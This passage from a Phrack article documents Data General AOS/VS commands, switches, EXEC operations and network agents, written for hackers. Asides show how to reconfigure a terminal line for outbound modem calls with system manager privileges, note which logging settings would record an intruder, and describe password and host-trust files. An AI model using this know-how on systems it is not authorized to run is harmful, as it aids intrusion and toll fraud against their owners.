W(rite) Write to a file. Create, delete or

change ACLs of files

in the directory.

The default ACL for any file is OWARE for the user.

ACL <path> shows the ACL. To modify the ACL:

ACL <path> [user,access] [...]

Access being one of the OWARE group, for example:

ACL PHRACK43 HBT,OWARE (There is NO space between 'username' and

'access'!)

ACL PHRACK42 HBT,OWARE +,R (In this example, the '+' template was used, '+' standing for all the users. This means that HBT has full access to the file, while the rest of the users can only read it. If templates are used, they should be used last, with specific usernames before them.)

Under CLI32 group access is also available in the format of:

ACL <path> [user:group,access] [...]

Switches:

/[BEFORE|AFTER]/[TCR|TLA|TLM]=date and/or time

/TYPE=type

These function just like the same switches in FILESTATUS.

/D Use the default settings (OWARE). Defaults may be changed using DEFCAL.

/K Delete ACL ‑ no one but a superuser will be able to access the file.

/V Show each file changed.

BROWSE

‑‑‑‑‑‑

BROWSE is a program to browse (view, search, scroll in any direction) through any number of ASCII or binary files. While in BROWSE help is available by using 'H' or '?'. BROWSE starts at the end of file and lets you move backward (but you can change this).

No further details are included since BROWSE can run only on CRT terminals (the actual terminals the employees usually sit at), and I didn't have the pleasure of using one of these (nor do I think will the information be of any use).

CHARACTERISTICS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CHARACTERISTICS displays or sets the characteristics of a device attached to a terminal (not a printer, for example). To change characteristics of a device permanently and not just for the current CLI level, you must be PID 2 (local console) or have SYSTEMMANAGER privilege on. To this, you must use EXEC first to DISABLE the device, use CHARACTERISTICS, and then use EXEC to ENABLE the device (see the section titled "The 'EXEC' Program"). The CHARACTERISTICS switch will be /DEFAULT/[default device characteristics] device. "device" for example, is @CON100.

CHARACTERISTICS switches look like this:

CHARACTERISTICS /[ON|OFF]/SWITCH. It's self explanatory.

/8BT

Interpret all 8 bits of an ASCII char as data. (For use with 8 bit character sets, of course.)

/16B For Asian language translation.

/4010I Device is a DG model 4010I terminal.

/6012 Device is a DG model 6012 terminal.

/605X Device is a DG DASHER model 6052, 6053, D210 or D211 terminal.

/6130 Device is a DG DASHER model 6130, D410 or D460 terminal.

/ACC Line requires modem access control (only users with the Use Modem privilege may login).

/AUTOBAUD

The system will automatically determine the terminal's baud (it's bps, damnit!) rate.

/BAUD=b

Sets a device's bps rate to b. b can be 45.5, 50, 75, 110, 134.5, 150, 300, 600, 1200, 1800, 2400, 3600, 4800, 7200, 9600, 19200, 38400.

/BREAK=[BMOB|CAOB|CBOB|CFOB|DCOB]

How the system will respond to a BREAK:

BMOB (default) Clears binary mode and restore normal character handling

CAOB Issues Ctrl‑C Ctrl‑A

CBOB Issues Ctrl‑C Ctrl‑B

CFOB Issues Ctrl‑C Ctrl‑F

DCOB Disconnect user

/CALLOUT Allow host initiated calls (outside calls).

/CHARLEN=[5|6|7|8]

Character length in bits, *including* stop bit.

/CONTYPE=connection type

Connection types are:

BITMAPPED Windowing terminal

DIRECT Standard connection

PAD From PAD hardware

PBX From a PBX controller

PCVT From a DG/PC*i controller TERMSERVER From terminal server hardware TELNET Through telnet

VIRTUAL Through a virtual terminal

/CPL=[8‑255]

The maximum number of characters per line.

/CTD Disconnect line if the user doesn't respond to login after a while.

/DEFAULT Displays the default characteristics of the terminal.

/DKHW If OFF, and /16B and /8BT are on, enable support for Chinese characters.

/EB0 Specify the echoing of control characters.

/EB1 When both off, nothing is echoed.

When EB0 is on and EB1 is off, echos ^char. When EB0 is off, and EB1 is on, echos exactly what was entered.

/EOL Don't output a newline if the number of characters in input has exceeded the line length.

/ESC Interpret an escape as a Ctrl‑C Ctrl‑A interrupt.

/FF Output a formfeed when the device opens.

/G1G0 Enables the G1G0 character set (Taiwanese characters). /16B and /8BT must also be ON.

/HARDCOPY Device is a printing terminal.

/HDPX Provide half duplex support for a modem line.

/HIFC Use CTS/RTS input flow control, cannot be on if /HDPX or /MOD are on.

/HOFC Use CTS/RTS output flow control.

/IFC Enables XON/XOFF to control terminal input (the Ctrl‑S/Ctrl‑Q control characters).

/LEVEL=x Sets characteristics to the same as those in CLI level #x.

/LPP=[4‑255]

The number of lines per page.

/MDUA Allows direct access to the modem on the line (/MOD must also be set). You can then use ?WRITE to send commands to the modem. See the section titled "CLI Macro Programming".

/MOD Use modem interface on this line.

/MRI Monitor line for rings.

/NAS Device is non ANSI standard.

/NLX Enable Asian natural language translation. /16B and /8BT must also be ON.

/NRM Suppress messages (from SEND) not sent from PID 2 (something like "mesg n" in Unix).

/OFC XON/XOFF output flow control.

/OTT Convert characters sequence "~}" to an escape (use with VT100 emulation, or how will you escape).

/P Sets the characteristics to be the same as those used on the previous CLI level.

/PARITY=[ODD|EVEN|NONE]

Default is NONE.

/PM Enable page mode, which pauses output every LPP lines (as set with the /LPP switch, default is 24). Ctrl‑Q resumes.

/RESET Reset characteristics to the default value.

/RTSCD Check carrier detect before processing RTS signals. /HDPX must be ON.

/SFF Simulate formfeeds.

/SMCD Ignore carrier detect on modem lines. /MOD and must be ON, and this must be set if /HPDX is ON.

/ST Simulate a tab every 8 columns.

/STOPBITS=[1|1.5|2]

/TCC=[time to wait for a carrier detect signal after the modem connect]

Default is 40000 ms.

/TCD=[time to wait for a carrier detect signal to return after it drops]

Default is 5000 ms.

/TDW=[delay between modem connect and the first I/O]

Default is 2000 ms.

/THC=[the amount of time after disconnecting for the modem to settle]

Default is 10000 ms.

/TLT=[time to wait between sending the last char and dropping RTS]

Default is 0 ms. /HPDX must be ON.

/TO Enable timeouts.

/UCO Convert lowercase input to uppercase when displaying it.

/ULC Accept both uppercase and lowercase as input.

/WRP Wrap on a long line.

/XLT Enable VT100 terminal emulation.

Knowledge is knowledge, but AT&T is something different. Here is how you'd open a modem line for calling out: (You must be SYSTEMMANAGER)

CLEARDEVICE/RXON @CON999

CONTROL @EXEC DISABLE @CON999 CHARACTERISTICS/ON/MOD/MDUA/CTD/CALLOUT @CON999

CONTROL @EXEC ENABLE @CON999

((And here's how you put it back))

CLEARDEVICE/RXON @CON999

CONTROL @EXEC DISABLE @CON999

CHARACTERISTICS/DEF @CON999

CONTROL @EXEC ENABLE @CON999

CLEARDEVICE <device>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You must be PID 2 (local console) or have SYSTEMMANAGER privileges turned on to use CLEARDEVICE on a terminal that isn't yours. <device> must be a terminal line (eg, @CON100).

/RXON Simulates a XON character from the device.

/SBREAK Sends a break character to the device.

A Guide to Data General's AOS/VS Part II

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 15 of 27

()()()()()()()()()()()()()()()()()()()()

A Guide to Data General Corporation's

AOS/VS System

PART II

by Herd Beast

CONINFO [console]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CONINFO shows information about a console to the user. Without an argument, it gives the user information about his console. With a parameter, and if the user has SYSTEMMANAGER privilege turned on, it gives information about the console specified as argument. The information gives changes depending as to how the console is connected:

CONNECTION INFORMATION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

ITC/LTC over TCP/IP Device code, engine number,

line number, IP address,

port number.

ITC/LTC over XNS Device code, engine number,

line number, CS/200 ethernet

address.

((No remote address if no connection exists (on both of them).))

ITC/PVC Device code, engine number,

engine address, line number,

line address OR an ASCII string if

the PVC type is NAME.

Telnet Line number, IP address, port.

Only line number if there's no current

connection.

IACs Device code, engine number, line

number, modem flag.

Duarts Device code, engine number, line

number, CON0 flag.

TTI/TTO Opcon Device code, engine number, line

number, CON0 flag.

CREATE <pathname>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CREATE creates a file (TXT or UDF). CREATE/LINK creates file links.

/DATASENSITIVE

Creates a file with a data sensitive record format.

/DIRECTORY

Creates a directory.

/DYNAMIC

Creates a file with a dynamic record format.

/ELEMENTSIZE=x

Sets the minimum amount of space by which a file can grow in 512 byte blocks.

/FIXED=x

Creates a file with a fixed length record format, with a length of x.

/HASHFRAMESIZE=x

Sets the unit into which the system divides the directory for file access to x. The default is 7. The best formula for this is: the nearest prime number (up to 157, the maximum) of the number of files / 20.

/I

Inserts typed text at @INPUT as the contents of the file. The input ends when a single ')' followed by a Return is typed.

/INDEXLEVELS=x

Sets the maximum number of data elements the file can hold to x.

/LINK

Creates a linked file to the second argument. For example, to link MODEM.CLI with :UTIL:NET:MODEM.CLI, use CREATE/LINK MODEM.CLI :UTIL:NET:MODEM.CLI.

/M

Takes the contents of the file from a macro that follows. The input ends when a single ')' followed by a Return is typed.

/MAXSIZE=x

Creates a control point directory of x*512 bytes (a disk block).

/TYPE=t

Creates a file of type t. Where t is either the right decimal number or the right 3 letter mnemonic (see the section titled "System Structure").

/VARIABLE

Creates a file with variable record formats.

DELETE <file>

‑‑‑‑‑‑‑‑‑‑‑‑‑

Deletes file. The opposite of CREATE.

DUMP <file> [path]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DUMP dumps file from the current directory to a file. Such files can be a diskette or a magnetic tape. [path] is the template for the files to dump ‑‑ if it doesn't exist, everything will be dumped. DUMP isn't compatible with Unix; AOS/VS has a TAR command for dumping file for use in Unix.

/[AFTER|BEFORE]/[TLA|TLM|TCR]=date and/or time

/TYPE=[\]type

These switches works just like the one in FILESTATUS.

/BUFFERSIZE=x

Sets the buffer to x (x is a multiply of 1024). x is given in bytes, but if specified as xK it reads a kilobytes (1 kilobyte is 1024 bytes). The larger the buffer, the more data fits on the tape.

/DENSITY=[800|1600|6250|ADM|LOW|MEDIUM|HIGH]

The numbers are for bits per inch. ADM means Automatic Density Matching. If one of the other values is used, there's a possibility that it won't fit in another tape unit (unit X's LOW value isn't the same as unit Y's).

/FLAT

Eliminates the directory structure. Otherwise, DUMP keeps the directory tree when dumping.

/IBM

Writes to a tape that an IBM format label, created using LABEL/I.

/L[=pathname]

Lists filenames dumped in pathname, or in @LIST. (See the command after LOAD, 'LISTFILE').

/NACL Don't dump ACLs, so that when reloading, the default ACL will be created.

/RETAIN=x

Sets the retention period. The dumpfile cannot be overwritten until x days have passed.

/SEQUENTIAL

Will not rewind the tape after completing the dump.

/V Verify the dump by listing the dumped files.

FED

‑‑‑

FED (moohaha), is a program, not a CLI command. FED stands for File Editor Utility, and it lets you examine locations in disk files and modify them. FED is run as XEQ FED [path]. The FED inner prompt is '_'.

FED has internal keywords. They are run by using ESC <keyword> (if you can't use escape, try setting CHAR/ON/XLT/OTT and use "~}").

To understand FED well, you must be familiar with the DEBUG command and some Assembly, which seems to me is beyond the scope of this file. So if you do know what you're doing, look DEBUG up.

C Run a CLI under FED.

DIS Change display mode

G Examine/modify ring register

H Help

I Define/list temporary symbols

J Delete temporary symbols

M Examine/modify input radix

MEM Examine/modify file locations

S Search disk locations

T Examine/modify display mode

X Enable/disable symbol table

Y Enable/disable logging to a file

Z Exit FED

? Display verbose error messages

/I=file Use the commands in filename for the editing session.

/L=file Save all FED commands/responses to file.

/S=file Use file as the symbol table file.

/N Don't use a symbol table file.

/P Treat the disk file as a program file.

/R Open for read‑only.

/U Treat the disk data as a user data file.

/X Treat the disk file as an OS file.

LOAD <file> [path]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LOAD restores files that were dumped. If LOAD is invoked from CLI32, a macro calls the DUMP_II program, which is a more advanced version of DUMP. If [path] is omitted, the entire dumpfile is loaded into the current directory (with its directory tree).

/[AFTER|BEFORE]/[TLA|TLM|TCR]=date and/or time

/TYPE=[\]type

These switches function the same as in FILESTATUS.

/BUFFERSIZE=x

/DENSITY=density was already set with DUMP, use ADM if at all

/FLAT

/IBM

/L[=path]

/NACL

/SEQUENTIAL

/V

These switches function the same as in DUMP, only in the reverse direction (for example, /NACL won't load the dumpfile's ACL and create new default ‑‑ username,OWARE ‑‑ ACLs.

/DELETE

Delete any existing file with matching name.

/N Don't load, just list files in dumpfile.

/Q Squeeze console messages and file lists (don't use tabs and more than one space).

LISTFILE [path]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LISTFILE sets the @LIST file (see the section titled "System Structure" for details). In short, program uses the generic file name @LIST, it will use the files specified through LISTFILE instead.

/G Sets the LISTFILE to the generic @LIST.

/K Sets the LISTFILE to null.

/LEVEL=x Sets the LISTFILE to that of level number x LISTFILE.

/P Sets the LISTFILE to the previous environment setting.

PASSWORD

‑‑‑‑‑‑‑‑

Only exists with CLI32.

(For more information, see the section titled "System Structure").

/CHANGE Change the current CLI password.

/PROMPT

/NOPROMPT

If /PROMPT, the user will have to enter his password when using LOCK (so he can't LOCK the console without a password). Otherwise, automatically locks the console when LOCK is executed.

/READ=path

/WRITE=path

/WRITE Encrypts the CLI password and writes it to the file [path]. When /READ is issued, the encrypted password is read from the file. When a password check needs to be done, the password entered is encrypted and the encrypted forms are compared. This way, a "PASSWORD/READ=PWD" in the LOGON file can set the CLI password automatically at logon.

I am not sure of the way that the password in encrypted when being saved with /WRITE. Nor, for that matter, do I have any more information about the way the login passwords are encrypted in the profiles (when and if they are).

Beware of situation where PWD, for example, has the string "qwerty" in it, and you type PASSWORD/READ=qwerty. If you use LOCK, the terminal is locked forever, since "qwerty" is assumed to be the encrypted form.

PROCESS <path>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Creates a son process to run the program in <path>. <path> is assumed to end with .PR, and only then to be just <path>.

/ACCESSDEVICES

Allows the process to define and access I/O devices. Requires the Access Devices privilege as defined in the profile.

/BLOCK

Blocks the father CLI until the process terminates. If the CLI isn't blocked, you can use CHECKTERMS to display the process' termination message when it terminates.

/BREAK

Creates a break file (.BRK) if the process has an error or terminates because of one. If EXEC is TERMINATEd instead of HALTed using the HALT 'EXEC' command, it will create a .BRK file.

/BSON

Blocks the son process until freed with UNBLOCK.

/CHLOGICALTYPE

Allows the process to change its logical type (16 bit or 32 bit). Requires the Change Logical Type privilege, which, as mentioned in "System Security" is usually on.

/CHPRIORITY

Allows the process to change its priority. Requires Change Priority privilege.

/CHTYPE

Allows the process to create any other type of process and change its own process type. Requires Change Type privilege.

/CHUSERNAME

Allows the process to create a new process with a different username than its own. Requires Change Username privilege.

/CHWSS

Allows the process to change its working set size. Requires Change Working Setsize privilege.

/CONSOLE[=console]

Makes the new process' console the same as that of the father's console, or [console].

/CPU=x Limits CPU time for x seconds.

/DACL Don't pass default ACL to the son process.

/DATA[=path]

Make the son's @DATA file the same as the father's, or [path].

/DEBUG Starts the son process in the debugger.

/DEFAULT Gives the son process the same privileges as the father's.

/DIRECTORY=path

Make path the initial directory for the son process.

/DUMP Appends a dump to the breakfile data.

/INPUT[=path]

Makes the son's @INPUT file the same as the father's, or [path].

/IOC

Makes the son's @INPUT, @OUTPUT AND @CONSOLE the same as does of the father.

/LIST=[path]

Makes the son's @LIST file the same as the father's, or [path].

/MEMORY=x Sets the son's process maximum memory size in 2kb pages.

/NAME=name

Assign name to the son process. Now it can accessed both by PID and by name.

/OUTPUT=path

Makes the son's @OUTPUT file to be path.

/PRIORITY=x

Gives the process a priority of 1‑511 (highest‑lowest).

/PREEMTIBLE

/RESIDENT

Makes the son process pre‑emtible or resident. The default is swappable.

/SONS[=x]

Allows the son to create one less son process than the father, or x.

/STRING

Stores the termination message in the CLI string.

/SUPERPROCESS

/SUPERUSER

Allows the son process to enter the appropriate SUPER mode.

/UNLIMITEDSONS

Allows the son process to create unlimited amount of sons.

SED [path]

‑‑‑‑‑‑‑‑‑‑

SED is a program and not a CLI command and therefore run as XEQ SED ... [path] is the file to be edited. The SED inner prompt is '*'.

SED is a text editor for creating and modifying files. SED's help facility is accessible by typing HELP from SED:

ESCAPES ADD TEXT CHANGE TEXT DELETE TEXT LISTINGS POSITIONING

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑

EXECUTE APPEND MODIFY DELETE LIST POSITION HELP INSERT REPLACE MOVE VIEW FIND SAVE DUPLICATE SUBSTITUTE JOIN PRINT UNDO SPLIT

CUT

PASTE

EXITING MISC HELP WORDS

‑‑‑‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ABANDON CLEAR CURSOR_CONTROL ADDRESS

BYE DIRECTORY RANGE SOURCE

CLI DISPLAY SEARCH_STRING DESTINATION

DO SET KEYS SYNTAX

SPELL SWITCHES

SED's line editing keys are:

Ctrl‑A Move to end of line.

Ctrl‑B Move to end of last word.

Ctrl‑E Toggle insert mode.

Ctrl‑F Move to start of next word.

Ctrl‑H Move to beginning of line.

Ctrl‑I A tab.

Ctrl‑K Erase everything right of cursor (like in EMACS). Ctrl‑X Move on character to the right.

Ctrl‑Y Move on character to the left.

Ctrl‑U Delete entire line.

The commands are mostly self explanatory, but the format is something like this. Suppose you want to modify line #12, you'd write MODIFY 12, which will put you on line 12. Use the control keys to move about and edit the line, then press Return! If you don't press return but just escape back to the SED prompt, your changes will be lost!

The same goes for most commands, if you need help, just type HELP COMMAND from the SED '*' prompt.

/ED=dir Finds the SED .ED files in dir.

/NO_ED Don't use .ED files.

/NO_FORM_FEEDS

Strip form feeds from the file.

/NO_RECREATE

Don't reset the date of the file after changing it.

/NO_SCREEN

Don't update the console automatically.

/PROFILE=path

path is the SED startup file, that contains legal SED commands.

/WORK=dir

Use this directory for SED temporary files.

SEND <pid> <message>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sends sends <message> to a user, based on the user's PID. Users' PIDs are displayed when typing WHOS. For example, SEND 2 FU I'M A HACKER.

STRING [arg]

‑‑‑‑‑‑‑‑‑‑‑‑

Without an argument, STRING displays the contents of the CLI's string. Displayed strings have commas inserted in them instead of spaces. If an argument is present, the string is set to it.

/K Set string to null.

/P Set string to the the string in the previous environment (each CLI level can have a different string).

SYSLOG [log file name]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SYSLOG handles system logging activity; therefore, SYSLOG can only be run with PID 2 (the master console) or with SYSTEMMANAGER privileges turned on. "System logging" logs user information (processor usage, I/O usage) in :SYSLOG. System logging can be ran under several levels of detail, so that it may or may not record everything going on (like file accesses). "Superuser logging" are things caused by a superuser who will only be logged under the maximum detailed level; therefore, it's possible to log them separately, and not record everything else everybody else does. "Error logging", which logs power failures, hard errors and such is always on and goes to :ERROR_LOG. Finally, there's "CON0 logging", which logs all activities on the master console, in such a way, that if you view the CON0 log from CON0, the log will never end...

/CON0/[START|STOP] [filename]

Start or stop CON0 logging. The older CON0 log will be renamed into [filename], and a new log will be opened. Otherwise, the old log is appended to.

/DETAIL=[FULL|MINIMAL]

Sets (or changes) the level of detail when logging. The default is MINIMAL; FULL is mostly for security matters.

/NOSOFTTAPEERRORS

/SOFTTAPEERRORS

Don't (or do) record soft tape errors.

/RENAMEERROR

Rename :ERROR_LOG to something else, and keep on logging to a new file.

/START [filename]

/STOP

Start (or stop) logging to :SYSLOG. If [filename] is given, rename :SYSLOG to it and keep on logging to a new file.

/SUPERUSER/[START|STOP]

Start (or stop) Superuser logging. System logging must already be running.

/VERBOSE Give a detailed status.

Here's a system you wouldn't want to be on:

SmSu) SYSLOG/START BEFORE_WE_WERE_HACKED

SmSu) SYSLOG/DETAIL=FULL

SmSu) SYSLOG/CON0=START

WHO [hostname:]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WHO shows information about processes. Without arguments, it shows your processes' information. If WHOS is issued, information on all the processes is displayed. The output from WHO is similar to this:

Elapsed 109:21:22, CPU 0:00:35.828, I/O Blocks 0, Page Secs 22186 PID: 1 PMGR PMGR :PMGR.PR

>From left to right, WHO displayed the process ID; username; console; and program pathname.

WRITE [arg]

‑‑‑‑‑‑‑‑‑‑‑

Displays [arg], by default to @OUTPUT. [arg] can also be a pseudo macro such as [!USERNAME].

/FILEID=file

Write [arg] to the file specified in file.

/FORCE

Forces the system to write immediately instead of periodically writing the files.

/NONEWLINE

Don't include the newline in the output.

XEQ <path>

‑‑‑‑‑‑‑‑‑‑

XEQ is identical to EXECUTE; it executes the program in path (how QT). The path should be to a file with a PR (PRogram) suffix, although it doesn't have to include .PR.

/I Takes input from @INPUT, eg from the user. To end the input, type ')' and Return.

/M Takes input from a macro that follow. The input end the same way as with /I.

/S Stores the termination message in a STRING instead of the terminal screen (@OUTPUT).

THE 'EXEC' PROGRAM

~~~~~~~~~~~~~~~~~

EXEC does more than just log users on. EXEC is the program that handles the AOS/VS multiuser environment. If handles user logins, but also batch, print, and networking queues, printers, and tape mount requests.

To use any EXEC command, you must either have the username of the EXEC user (usually OP) or have SYSTEMMANAGER privileges on. Alternatively, if you have the right ACL (if you're the owner) of the device you're executing an EXEC command on, it will also work.

EXEC commands are issued in this manner: CONTROL @EXEC COMMAND. EXEC has its own help facility, called XHELP, which gives help only on EXEC commands.

These are the EXEC commands (alphabetically, once again):

ACCESS CREATE HOLD PREMOUNT STOP ALIGN DEFAULTFORMS LIMIT PRIORITY TERMINATE ALLOCATE DELETE LOGGING PROMPTS TRAILERS BATCH_LIST DISABLE LPP PURGE UNHOLD BATCH_OUTPUT DISMOUNTED MAPPER QPRIORITY UNITSTATUS BINARY ELONGATE MDUMP REFUSED UNLIMIT BRIEF ENABLE MESSAGE RELEASE UNSILENCE CANCEL EVEN MODIFY RESTART VERBOSE CLOSE FLUSH MOUNTSTATUS SILENCE CONSOLESTATUS FORMS OPEN SPOOLSTATUS CONTINUE HALT OPERATOR START

CPL HEADERS PAUSE STATUS

ACCESS Change the ACL of files in the :PER directory. If some has OWNER access to a device or queue, he can issue an EXEC CONTROL command to it. If he had READ or WRITE access to a queue, he can display it or add jobs to it, accordingly. The default ACL is +,RW (READ/WRITE access for all users). The :PER directory contains devices (such as consoles, printers, etc) and queue jobs.

ALIGN Tells the printer handler to stop printing (giving the operator a chance to align the paper).

ALLOCATE Restore a tape unit to EXEC's list of mountable tape unit (will show on UNITSTATUS).

BATCH_LIST Change the print queue to which a batch's listings go.

BATCH_OUTPUT Change the print queue to which a batch's output go.

BINARY Tells the printer handler to set or disable BINARY mode. When in binary mode, passes everything sent to the printer as‑is. When binary mode is off, the printing handler catches characters and changes them so they'll have a meaning on the device. Binary mode is necessary when using a graphics printer, for example.

BRIEF Opposite of VERBOSE.

CANCEL Cancels a waiting queue entry.

CLOSE Prevents a queue from accepting more requests.

CONSOLESTATUS Displays the status of an EXEC‑handled EXEC. Displays the console's name, maximum number of login tries allowed, the PID, and which user is logged on (if at all).

CONTINUE Continue a device after changes (for example, running START) have been made to it.

CPL Changes the number of characters per page for a device.

CREATE Create a queue.

DEFAULTFORMS Where the default formatting specs are.

DELETE Delete a queue.

DISABLE The opposite of ENABLE.

DISMOUNTED Dismount a tape mounted with CONTROL @EXEC MOUNT.

ELONGATE Turns elongated printing on a DASHER LP2 printer on or off. When printing in elongated printing, the characters are wide.

ENABLE For more information, see the section titled "System Security".

EVEN Sets the status of pagination on a printer. When on, all files are printed as if they have an even number of pages, for cosmetic reasons (all header pages come on the same fold of paper [yes, it sounds disgusting]).

FLUSH Terminate the currently running job on a device or queue.

FORMS Use the formatting specs in a filename for a certain printer.

HALT Terminate EXEC.

HEADERS Change number of headers printed when printing (default is 1).

HOLD Suspends a batch or printer queue until UNHOLD is issued.

LIMIT Enforces limits on CPU processor time or number of printed pages on devices or queues.

LOGGING Where to send error and status messages instead of CON0, the system console.

LPP Sets the number of lines per page when printing.

MAPPER Tells the printing handler to use character mapping as defined in a given filename.

MDUMP Suspend all other EXEC activities to create a memory dump in the :UTIL directory.

MESSAGE Append a message to EXEC's log.

MODIFY Modifies the parameters of an inactive queue entry.

MOUNTSTATUS Displays the status of all user mount requests.

OPEN Opens a queue to receive user requests.

OPERATOR Whether or not there's an operator available to help with diskette dumps (remember what the OPERATOR privilege is used for; not everyone has it).

PAUSE Suspends processing of a queue or on a device.

PREMOUNT Mount a labeled tape volume even before a user request it be mount (and thus the operator doesn't get prompted when users try to mount it; they immediately get access).

PRIORITY Changes the priority and/or process type for batches or printing processes.

PROMPTS Whether EXEC will display the time after each command.

PURGE Delete all inactive entries in a queue.

QPRIORITY Limit a batch or device to only job with a certain queue priority (or in a range of priorities).

REFUSED Refuse a MOUNT request.

RELEASE Remove a tape unit from the list of mountable unit (it won't be displayed with CONTROL @EXEC UNITSTATUS.

RESTART Restart a job, and if printer job, can specify from which page until which page to print.

SILENCE Suppresses EXEC messages about a device or a batch.

SPOOLSTATUS Give device and queue information. If no devices or queuenames are given, it reports each spooled device and the queue associated with it, CPL, LPP, headers, trailers, binary mode status, form specifications, priority and process type.

START Make a connection between a queue and a device. Jobs for the queue will be run on the device. This is need for something like printing queues.

STATUS Describes the status of devices or batches. It reports the sequence number, queue priority, user, and PID. For a printer, it also reports the number of pages left and number of copies left.

STOP Dissociate a queue from a device.

TERMINATE Terminate the user process on a console (disconnects user).

TRAILERS Changed number of trailers printed when printing (default is 0).

UNHOLD Release from HOLD.

UNITSTATUS Displays mount status of a tape unit or all units if no devicename is specified.

UNLIMIT Release from LIMIT.

UNSILENCE Release from SILENCE.

VERBOSE Give detailed messages. Brief messages include the queue's name, sequence number and user. Verbose messages also include the PID and pathname. Messages are sent when a device or a batch processes a request.

NETWORKING

~~~~~~~~~

AOS/VS is compatible with several networking protocols. The most widely known and used are X.25 and TCP/IP. There is also Data General's XODIAC network, as well as PCI networks and many others. In general, network services are run as process by the NETOP username (usually "OP"), and have programs for the users to execute. The NETOP process handles communications and report generating to the other networking processes. It has similar restrictions to that of the EXEC process (one must have its username to control it, and so on).

Before going into specifics, there are some general details about networks. Almost everything having to do with networking ‑‑ from hosts, to help files and programs, will be found in the :NET directory. Programs and macros will be in :NET:UTIL, and so on. The :PER directory, which contains devices, contains devices for the networking processes.

TCP/IP: The AOS/VS implementation of TCP/IP incorporates the usual TCP/IP programs: rlogin, rsh, telnet, ftp, smtp and so on. Because of the way most of these programs were built (with strong relationships to Unix), AOS/VS work in a similar way.

AOS/VS runs RSHD, for remote logging in, and supports individual .RHOST files as well as HOSTS.EQUIV files; TELNETD, for telnet sessions; FTPD, for ftp sessions; SNMPD, for network management; and SMTP, which is the same as activating the AOS/VS SENDMAIL with the become daemon switch, for receiving mail. There are also programs for remote printing and dumping of files on tapes, as well as NSLOOKUP and NETSTAT.

In the :ETC directory, there will be some general TCP/IP files, and in :USR:LIB there will be spool directories for mail and printing services. The files normally found in :ETC will usually match the format and function of their counterparts on Unix (for example, :ETC:HOSTS = /etc/hosts, and so on). However, some explaining is necessary.

The file :ETC:PASSWD does not contain any passwords. It exists for the use of the SENDMAIL program, for looking up local users on the machine. Thus if someone sends mail to a local user, mail will be sent only if that user has an entry in :ETC:PASSWD. An example file would be,

op::0:::/udd/op:

mail::8:::/usr/spool/mqueue:

:ETC:SNMPD.TRAP_COMMUNITIES contains a list of hosts, ports, and communities that the SNMPD process will send traps to (a SNMP trap is a message sent indicating a change of state).

:USR:LIB contains mail programs, such as SENDMAIL's aliases file, the SENDMAIL program itself, the SENDMAIL.CF (configuration file) and so on.

:USR:SPOOL contains spool directory, for printing (like LPD) and mail (MQUEUE).

The format for sending mail on AOS/VS using SMTP is just like on Unix, only the program name is SENDMAIL.

The AOS/VS TCP/IP installation usually comes with TCP libraries, such as SOCKIT.LB, which provides ordinary Unix socket functions, from bind(), connect(), and listen(), to gethostbyaddr(), getservbyport(), etc; making it possible to program and compile network applications using TCP/IP routines and the AOS C compiler.

For more information about these services, and network programming, read a file about TCP/IP and/or Unix.

AOS/VS NETWORK PROCESSES: Each network process usually comprises two other processes, one for local users, and one for remote users on the local host. RMA provides URMA and SRMA; FTA provides UFTA and SFTA, and so on. What does it mean? Simply, the S+ programs are "daemons" for the network actions, and the U+ programs are user executable programs. All the S+ programs are controlled through the NETOP process, while the user programs are executed as programs by individual users.

I will take some time to explain these programs and how they work. RMA stands for Resource Management Agent. FTA stands for File Transfer Agent, and VTA stands for Virtual Terminal Agent. The 'U' in the programs stands for "Using" and the 'S' for "Serving."

VTA: the SVTA process provides virtual terminals for remote UVTA users, as well as PAD support through PDNs; it controls the system's link to any PDN. Connections can be made from public PADs (like Telenet), and through UVTA or any other PAD interface. SVTA logs command responses and errors by reporting them to the NETOP process, or a facility set by CONTROL @SVTA SET/OUTPUT= and /LOG=. If an error occurs during this logging, OUTPUT is reset to the NETOP process (if something is faulty with the NETOP process, the message is lost).

SVTA is controlled through the NETOP process, so SVTA commands are the format of "CONTROL @SVTA <command name>". SVTA commands:

SET Sets miscellaneous SVTA parameters, such as whether to include the current time or date at SVTA prompts (/TIME or /NOTIME, /DATE or /NODATE); where and if to send the SVTA process' output (/OUTPUT=[pid #] or [@console] or [process name], or /NOOUTPUT); and where to write SVTA logs (/LOG=file). Logs files are of format SVTA_month_day_year.LOG and is stored in :NET:LOGFILES (unless changed).

OWNER Assigns a process name to the SVTA process. If no name is given, SVTA returns its current process name.

REVERSE ON or OFF. Tells SVTA whether or not to accept reverse charged (collect) calls over the PDN.

STATUS If no argument is given, SVTA issues a global status report. If an argument is given, it can either be @VCONnn ‑‑ an SVTA controlled virtual console, or a PID (a report will be generated for all VCONs owned by that PID).

The user side, UVTA, is loaded by XEQ UVTA. The user is faced with a prompt, from which he can start connections and issue other UVTA commands. UVTA commands:

CALL <host> First and formost, call a remote host. A remote host is a host that has its name in the :NET directory (file type HST). If UVTA can't locate the host in the :NET directory, it reports that the file does not exist. CALL accepts two arguments, the remote host and the remote process. Remote process in in the format of [user]:process. [user] defaults to OP; when this parameter is given, UVTA attempts to connect to a VCON controlled by that process/user combination. The remote process defaults to EXEC (OP:EXEC), which means the user connects to a console controlled by the EXEC program (and faces the usual login procedure). CALL can be replaced by loading UVTA with CALL's parameters.

